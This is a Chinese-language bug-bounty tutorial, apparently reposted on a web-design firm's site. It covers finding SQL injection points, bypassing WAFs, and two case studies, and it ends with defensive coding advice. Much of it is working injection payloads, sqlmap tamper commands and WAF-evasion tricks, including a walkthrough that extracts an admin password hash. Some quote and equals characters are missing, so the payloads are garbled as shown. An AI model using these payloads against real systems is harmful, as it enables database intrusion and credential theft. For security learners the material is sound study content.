尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SRC实战:SQL注入挖掘与WAF绕过技术全解析

SRC实战:SQL注入挖掘与WAF绕过技术全解析 1. 项目概述从SRC视角看SQL注入实战在SRC安全应急响应中心漏洞挖掘的实战中SQL注入始终是那个“古老”却又“常青”的漏洞类型。说它古老是因为其原理自Web诞生之初就已存在说它常青是因为即便在预编译、ORM框架普及的今天它依然能通过各种“奇技淫巧”在各类业务系统中找到突破口。对于刚入门的白帽子来说掌握SQL注入的挖掘与利用是构建Web安全攻防知识体系的基石。而对于经验丰富的挖掘者每一次成功的SQL注入绕过都是一次对业务逻辑、代码实现和防护策略的深度理解。这篇文章我将从一个SRC实战挖掘者的角度抛开教科书式的理论直接切入SQL注入的实战核心。我们不仅要理解“是什么”更要深挖“为什么”和“怎么用”。我会结合大量真实案例中提炼出的技巧拆解从寻找注入点到绕过WAF、再到最终利用的完整链条。无论你是想入门SRC挖掘的新手还是希望精进技艺的老手这里的内容都将是你手边最直接的“作战手册”。2. 核心思路拆解如何系统性地寻找与验证SQL注入很多人在测试SQL注入时往往拿着sqlmap一通乱扫结果要么一无所获要么触发告警被封IP。高效的SQL注入挖掘必须建立在清晰的思路之上。这就像侦探破案你得知道去哪里找线索以及如何验证线索的真伪。2.1 注入点的“全景扫描”不止于ID参数新手最容易犯的错误就是只盯着URL里的id、uid这些明显的数字型参数。在真实的业务系统中注入点可能隐藏在任何一个与数据库交互的角落里。1. 参数类型的全面覆盖显式参数这是最基础的。包括URL参数?id1、POST表单参数、Cookie值、HTTP头如X-Forwarded-For。隐式参数比如伪静态URL中的数字/news/123.html它可能被后端路由解析为id123。再比如JSON或XML格式的请求体其中的某个字段也可能是注入点。业务逻辑参数这是高产出的富矿。任何涉及数据查询、筛选、排序、分页的地方都值得深究。搜索框keyword、q、search。尝试输入、或\。筛选器category、type、status、fromRegion。这些参数常直接拼接到WHERE子句中。排序器order、sort、orderby。这是高危区因为排序字段名常是动态拼接的无法预编译。测试?sortid变为?sort(select 1)或?sortid和?sortid的响应差异。分页器page、limit、offset。测试?limit10和?limit10;select sleep(5)--。2. 测试手法的“组合拳”找到可疑点后不能只用一种方法测试。我通常会按以下顺序像剥洋葱一样层层深入初步探测无害添加单引号、双引号。观察页面是否报错、空白、或与正常页面有细微差异如图片加载失败、某个模块缺失。数字型参数可以尝试?id3和?id21看结果是否一致。逻辑测试低危尝试构造永真和永假条件。例如对于疑似字符型注入?nameadmin测试?nameadmin and 11和?nameadmin and 12。如果前者返回正常结果后者返回异常或无结果则注入可能性极大。报错试探中危利用数据库报错函数。对于MySQL可以尝试?id1 and updatexml(1,concat(0x7e,user()),1)--。如果页面返回了包含~rootlocalhost的数据库错误信息恭喜你找到了一个报错注入点。这一步能快速确认漏洞存在和数据库类型。盲注验证高危如果页面没有明确报错但行为有差异就需要盲注。时间盲注是最终手段?id1 and sleep(5)--。观察响应时间是否明显延迟。实操心得不要忽略错误页面。有时主页面做了全局错误处理但一个非关键的API接口或静态资源加载路径可能泄露详细的SQL错误。用Burp Suite的爬虫功能或主动扫描收集所有可能的端点进行测试。2.2 闭合方式的“外科手术”理解SQL语句的拼接找到注入点只是第一步精准地“闭合”原SQL语句并“插入”我们自己的恶意代码才是成功利用的关键。这需要根据返回的报错信息或盲注行为反推后端SQL的拼接方式。常见的拼接模式与测试Payload后端代码猜测测试Payload假设参数值为123预期结果与判断$sql SELECT * FROM users WHERE id . $_GET[id];?id123 and 11?id123 and 12数字型注入。无需闭合直接拼接逻辑运算。$sql SELECT * FROM users WHERE name . $_GET[name] . ;?nameadmin and 11?nameadmin and 12字符型注入单引号闭合。需要注释掉原语句末尾的引号?nameadmin--$sql SELECT * FROM users WHERE id ( . $_GET[id] . );?id123) and (11?id123) and (12数字型带括号。需要先闭合括号。$sql SELECT * FROM users WHERE name ( . $_GET[name] . );?nameadmin) and (11字符型带括号。需要闭合括号和引号。$sql SELECT * FROM article ORDER BY . $_GET[sort] . DESC;?sortid?sort(select sleep(5))排序字段注入。通常无法预编译直接拼接。时间盲注是有效验证手段。关键技巧当单引号、双引号测试无效时可以尝试反斜杠\。如果输入\后页面报错或行为改变说明存在转义处理可能涉及宽字节注入等特殊情况。2.3 工具与手工的“黄金搭配”sqlmap的正确打开方式sqlmap是神器但无脑使用就是“自杀式扫描”。在SRC实战中我遵循“先手工后工具工具定制精准打击”的原则。1. 手工确认后再上工具先用上述手工方法基本确认存在注入点、判断出数据库类型MySQL/Oracle/SQL Server等和闭合方式。这能极大提高sqlmap的成功率和效率。2. 关键参数配置直接上一个我常用的“组合拳”命令模板适用于已确认的注入点python sqlmap.py -u http://target.com/page.php?id1 --batch --random-agent --flush-session --level 3 --risk 2 --tamperspace2comment,charencode --dbmsmysql--batch: 非交互模式自动选择默认选项。--random-agent: 随机化User-Agent避免被简单的UA规则屏蔽。--flush-session: 清除之前的扫描缓存避免干扰。--level 3: 增加对Referer和User-Agent头的测试有些注入点在这两个头里。--risk 2: 提高测试风险等级会使用更多可能不稳定的Payload。--tamperspace2comment,charencode: 使用脚本对Payload进行混淆绕过简单的WAF。space2comment将空格替换为/**/charencode进行URL编码。--dbmsmysql: 如果手工已判断是MySQL直接指定可大幅缩短指纹识别时间。3. 高级场景与规避Cookie注入使用--cookiePHPSESSIDxxx; otheryyy。POST请求使用-r参数读取一个保存了完整HTTP请求的文件。延时调整如果网络环境差或目标响应慢使用--time-sec10将时间盲注的延时阈值调高减少误报。最重要的禁忌切勿在未授权的情况下使用--dump-all或--dump某个大表这会产生巨大流量极易导致目标服务异常属于违规操作。在SRC测试中证明漏洞存在即可通常获取当前数据库用户--current-user、数据库名--current-db或版本--banner就足够了。3. 绕过防御的艺术应对WAF与非常规场景现在的Web应用很少裸奔多少都会有些防护措施从简单的输入过滤到云WAF。直接扔一个union select 1,2,3很可能吃到403。这时候绕过技巧就是你的“手术刀”。3.1 基于规则混淆的绕过这是最基础的绕过思路核心是让Payload“看起来不像”恶意Payload。1. 空白符变异WAF的规则可能只匹配标准的空格。使用注释代替空格union/**/select/**/1,2,3使用括号包裹union(select(1),2,3)使用换行符或制表符URL编码%0a换行%09制表符。例如union%0aselect%0a1,2,32. 关键词分割与混淆内联注释uni/**/on sel/**/ect 1,2,3。MySQL中/**/内的内容会被忽略。反引号包裹在MySQL中反引号可用于标识符。select和select是等价的。可以写成select这能绕过简单的字符串匹配。大小写混合/双写UnIoN SeLeCTununionion selselectect某些简单的过滤可能会移除union字符串双写后移除中间部分剩下的又拼成了union。3. 编码与特殊格式十六进制编码union select 1,2,3可以将其中的字符串转为十六进制如select-0x73656c656374。Payload变为union 0x73656c656374 1,2,3。URL编码对单个字符或整个参数进行多次URL编码。-%27-%25%32%37。有些WAF只解码一次。Unicode编码在某些上下文如JSON中可能有效。3.2 利用数据库特性与冷门函数这是更高级的绕过需要对特定数据库的“癖好”有深入了解。1. MySQL的“奇兵”GTID_SUBSET与反引号如前文网络资料所述GTID_SUBSET()是一个冷门的MySQL函数用于检查GTID集合的子集关系返回0或1。这使它天然适合数字型布尔盲注。经典Payload?idGTID_SUBSET(concat(user(),:1),00000000-0000-0000-0000-000000000000:1)绕过原理大多数通用WAF的规则库聚焦于and、if、sleep、substr等常见函数。GTID_SUBSET作为运维函数很少被纳入黑名单。它不需要and连接直接返回0或1作为id值完美融入数字型上下文。配合反引号如果GTID_SUBSET本身被规则化了可以尝试GTID_SUBSET()或GTID_SUBSET()利用反引号分割函数名。2. 报错注入的“新瓶旧酒”extractvalue/updatexml的变形extractvalue和updatexml是经典的MySQL报错注入函数但extractvalue(1,concat(0x7e,user()))这种写法早已被标记。变形技巧非常规开头如资料所示用desc,开头。desc是降序关键字在此处作为无意义的占位符能绕过一些以extractvalue开头的规则。参数位置调整updatexml(2,concat(0x7e,user()),1)。改变第一个数字参数。concat变体使用concat_ws(0x0a,0x0a,user())用换行符作为分隔符有时能绕过对concat(的检测。3. 堆叠注入与多语句执行堆叠注入Stacked Injection允许执行多条SQL语句用分号;分隔。这在某些特定场景下威力巨大例如SQL Server中可以直接执行系统命令。测试?id1;select 1或?id1;select 1/0通过制造除零错误观察响应。利用并非所有数据库或连接驱动都支持。PHPMySQL的mysqli默认有时不支持需设置CLIENT_MULTI_STATEMENTS但PDO在某些配置下可能支持。SQL Server和PostgreSQL的支持度相对较好。实战意义在SRC挖掘中发现堆叠注入往往意味着高危漏洞可能直接导致命令执行或数据篡改。3.3 针对特定环境的技巧1. PHPGBK编码与宽字节注入这是一个经典漏洞但仍有老系统存在。当数据库连接使用GBK、GB2312等宽字节编码而PHP使用mysql_real_escape_string等函数转义单引号在前加\即0x5c时就可能被绕过。原理攻击者输入%df%27%df是一个GBK宽字节字符的首字节。转义后变成%df%5c%27。在GBK编码下%df%5c可能被解析为一个合法的中文字符如“運”从而“吃掉”了转义的反斜杠使得后面的%27单引号逃逸出来闭合了SQL语句。测试在疑似字符型注入点尝试?name%df%27 or 11--。2. .NET SQL Server的延时注入当MySQL的sleep()被拦截时可以试试SQL Server的WAITFOR DELAY。Payload?id1;WAITFOR DELAY 0:0:5--。这会令数据库等待5秒通过响应时间判断注入是否成功。3. 二阶SQL注入这是一种“存储型”的SQL注入。应用将用户输入“安全地”存入数据库但在后续的某个逻辑中又直接从数据库取出该数据并拼接到新的SQL语句中执行且未经过滤。挖掘思路关注注册、修改资料、评论等“数据入库”功能再关注密码重置、登录、关联信息查询等“从库中读取数据并使用”的功能。例如注册时用户名填入admin--后续在某个查询用户详情的功能中这个用户名被直接拼接就可能触发注入。测试难点需要梳理完整的业务流对请求进行溯源。自动化工具很难发现主要靠人工审计和逻辑推理。4. 从注入到利用实战案例深度剖析理论说再多不如一个真实案例来得深刻。下面我分享两个在SRC实战中遇到的、具有代表性的案例拆解其中的挖掘思路和绕过技巧。4.1 案例一排序参数注入绕过云WAF获取管理员密码目标某电商平台商品列表页。发现过程参数枚举列表页有sort排序字段和order排序方式asc/desc参数。初步测试测试?sortprice正常?sortprice页面返回一个泛化的500错误被云WAF拦截。绕过尝试尝试在关键字中插入注释/**/?sortpri/**/ce依然被拦。尝试大小写、双写无效。转换思路既然sort参数可能被严格过滤试试order参数。?sortpriceorderasc正常。测试?sortpriceorderasc页面空白没有直接500错误这是一个好迹象。确认注入构造布尔盲注Payload?sortpriceorderasc and 11页面正常显示按price升序。?sortpriceorderasc and 12页面显示异常排序混乱或无结果。确认order参数存在字符型注入且云WAF对order参数的检测可能弱于sort。利用报错注入直接上报错函数获取基础信息。?sortpriceorderasc and updatexml(1,concat(0x7e,user()),1) and 11页面返回错误信息XPATH syntax error: ~rootlocalhost。成功数据库用户是root权限很高。获取表名和字段名逐层获取数据。获取数据库名...updatexml(1,concat(0x7e,database()),1)...-~shop_db获取表名...updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),1)...- 报错显示只能回显32位。使用substr或mid函数分段读取。发现admin_users表猜测有username和password字段。获取管理员密码哈希构造Payload读取密码。这里需要注意updatexml一次只能读32位且concat会截断。使用substring函数配合limit来逐条、逐段读取。?sortpriceorderasc and updatexml(1,concat(0x7e,(select substring(concat(username,0x3a,password),1,32) from admin_users limit 0,1)),1) and 11得到第一段~admin:5f4dcc3b5aa765d61d8327deb882c。继续调整substring的起始位置读取剩余部分最终拼接出完整MD5哈希。漏洞成因后端代码可能类似String sql SELECT * FROM products ORDER BY sortField orderDirection;。orderDirectionasc/desc被认为是固定枚举值未做严格过滤或预编译直接拼接导致注入。4.2 案例二JSON格式请求体中的时间盲注目标某新型社交APP的私信搜索API。发现过程接口识别通过抓包发现一个POST /api/v1/message/search的接口请求体为JSON{keyword:hello, page:1}。常规测试失效在keyword字段尝试hello、hello请求被正常处理但无结果无报错。在Burp Repeater中修改JSON格式如删除引号会导致400错误说明有基础校验。转向时间盲注既然无回显无报错尝试时间盲注。将keyword的值改为hello and if(ascii(substr(database(),1,1))100,sleep(3),0) and 11。发送请求后观察响应时间。遭遇WAF请求响应很快没有延时。可能是sleep函数被WAF识别。尝试混淆hello/**/and/**/if(ascii(substr(database(),1,1))100,sleep(3),0)/**/and/**/11。依然无效。使用冷门函数BENCHMARKMySQL的BENCHMARK(count, expr)函数会重复执行表达式exprcount次可用于制造延时。Payloadhello and if(ascii(substr(database(),1,1))100,benchmark(5000000,md5(test)),0) and 11。成功触发延时发送请求响应时间从平时的200ms左右飙升到3秒以上说明注入成功且BENCHMARK绕过了WAF对sleep的检测。自动化利用确认注入点后可以手工或编写脚本通过二分法逐字符猜解数据库名、表名、数据。由于是时间盲注过程较慢需要耐心。漏洞成因后端使用JSON解析库获取keyword参数后未经过滤直接拼接到SQL的LIKE语句中... WHERE content LIKE % keyword % ...。虽然前端限制了输入但攻击者可以直接伪造请求包。5. 防御视角与安全开发建议作为挖掘者理解攻击手法是为了更好地防御。从这些案例中我们可以总结出对开发者的关键建议坚持使用参数化查询预编译语句这是防止SQL注入最根本、最有效的方法。确保所有用户输入都作为参数传递而不是字符串拼接。Java (JDBC):使用PreparedStatement。PHP (PDO):使用prepare()和execute()。Python (SQLAlchemy):使用ORM或text()函数配合参数绑定。注意参数化查询只能处理“值”不能处理“标识符”如表名、列名、排序关键字。对于这些必须使用白名单机制。实施严格的白名单校验对于表名、列名、排序方向ASC/DESC等无法参数化的部分必须在后端建立严格的白名单。只允许预定义的、安全的选项通过。// 错误示例直接拼接 String orderBy request.getParameter(sort); String sql SELECT * FROM table ORDER BY orderBy; // 正确示例白名单校验 MapString, String allowedSortFields new HashMap(); allowedSortFields.put(price, price); allowedSortFields.put(time, create_time); String sortField allowedSortFields.get(request.getParameter(sort)); if (sortField null) { sortField id; // 默认值 } String sql SELECT * FROM table ORDER BY sortField;最小权限原则数据库连接账户不应使用root或sa等高权限账户。应为Web应用创建独立的、仅具备必要权限如SELECT,INSERT,UPDATEon specific tables的账户。这样即使发生注入危害也被限制在最小范围。统一的输入输出处理输入验证在业务逻辑层对输入数据的类型、长度、格式进行严格校验。输出编码将所有输出到前端的数据进行适当的HTML编码防止XSS等二次攻击。错误处理自定义统一的错误页面避免将数据库的详细错误信息如SQL语句、堆栈跟踪直接展示给用户。记录到安全的日志中供管理员排查即可。Web应用防火墙WAF的合理使用WAF是重要的纵深防御手段但不能依赖它作为唯一防线。它可能被绕过。WAF规则需要定期更新和维护同时应与自研的安全检测逻辑相结合。SQL注入的攻防是一场持续的斗争。对于白帽子而言挖掘漏洞的过程是对系统架构和代码逻辑的极致探索。每一次绕过都加深了对安全机制的理解。记住最坚固的防线永远是安全意识和规范的编码实践。在SRC的实战中保持好奇心细致观察大胆假设小心验证你总能发现那些隐藏在光影交界处的安全漏洞。
返回列表